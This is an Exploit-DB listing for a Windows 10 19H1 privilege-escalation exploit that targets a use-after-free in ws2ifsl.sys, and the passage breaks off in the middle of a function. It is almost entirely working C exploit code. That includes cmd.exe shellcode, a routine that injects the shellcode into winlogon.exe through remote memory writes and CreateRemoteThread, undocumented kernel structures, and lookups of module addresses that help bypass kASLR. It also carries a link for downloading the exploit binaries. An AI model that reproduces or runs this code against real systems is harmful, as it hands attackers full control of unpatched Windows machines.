Exploit-DB #47935
Description: Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)
Type: local
Platform: windows_x86-64
Date: 2020-01-07
Author: bluefrostsec

Exploit:
/*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47935.zip
*/

#include <Windows.h>
#include <stdio.h>
#include <string>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll.lib")

// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";

static const unsigned int shellcode_len = 0x1000;

#define MAXIMUM_FILENAME_LENGTH 255 
#define SystemModuleInformation  0xb
#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	ULONG ProcessId;
	UCHAR ObjectTypeNumber;
	UCHAR Flags;
	USHORT Handle;
	void* Object;
	ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef struct SYSTEM_MODULE {
	ULONG                Reserved1;
	ULONG                Reserved2;
#ifdef _WIN64
	ULONG				Reserved3;
#endif
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	WORD                 Id;
	WORD                 Rank;
	WORD                 w018;
	WORD                 NameOffset;
	CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// exploit specific type information 
typedef struct _FILE_FULL_EA_INFORMATION {
	ULONG NextEntryOffset;		// +0x0
	UCHAR Flags;				// +4
	UCHAR EaNameLength;			// +5
	USHORT EaValueLength;		// +6
	CHAR EaName[1];				// +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _PROC_DATA {
	HANDLE apcthread;				// +0x0
	void* unknown1;				// +0x8
	void* unknown2;				// +0x10
	void* unknown3;				// +0x18
	void* unknown4;				// +0x20
} PROC_DATA, * PPROC_DATA;

typedef struct _SOCK_DATA {
	HANDLE unknown;				// +0x0
	HANDLE procDataHandle;	// +0x8	
} SOCK_DATA, * PSOCK_DATA;

// undocumented apis definitions 

typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
	HANDLE Event,
	PIO_APC_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PIO_STATUS_BLOCK IoStatusBlock,
	PVOID Buffer,
	ULONG Length,
	PLARGE_INTEGER ByteOffset,
	PULONG key);

typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);

typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);

// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;

HANDLE	g_Event1 = NULL;
HANDLE	g_Event2 = NULL;
HANDLE	g_Event3 = NULL;

int g_done1 = 0;
int g_done2 = 0;

#define TOKEN_OFFSET 0x40			//_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8		//kthread apc offset

// generic helper function

void InjectToWinlogon()
{
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	if (Process32First(snapshot, &entry))
	{
		while (Process32Next(snapshot, &entry))
		{			
			if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
			{
				pid = entry.th32ProcessID;
				break;
			}
		}
	}

	CloseHandle(snapshot);

	if (pid < 0)
	{
		printf("Could not find process\n");
		return;
	}

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (!h)
	{
		printf("Could not open process: %x", GetLastError());
		return;
	}
	
	void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (!buffer)
	{
		printf("[-] VirtualAllocEx failed\n");
	}
	
	if (!buffer)
	{
		printf("[-] remote allocation failed");
		return;
	}

	if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
	{
		printf("[-] WriteProcessMemory failed");
		return;
	}

	HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);

	if (hthread == INVALID_HANDLE_VALUE)
	{
		printf("[-] CreateRemoteThread failed");
		return;
	}
}

HMODULE GetNOSModule()
{
	HMODULE hKern = 0;
	hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
	return hKern;
}

DWORD64 GetModuleAddr(const char* modName)
{
	PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

	DWORD outBuffer = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

	if (status == STATUS_INFO_LENGTH_MISMATCH)
	{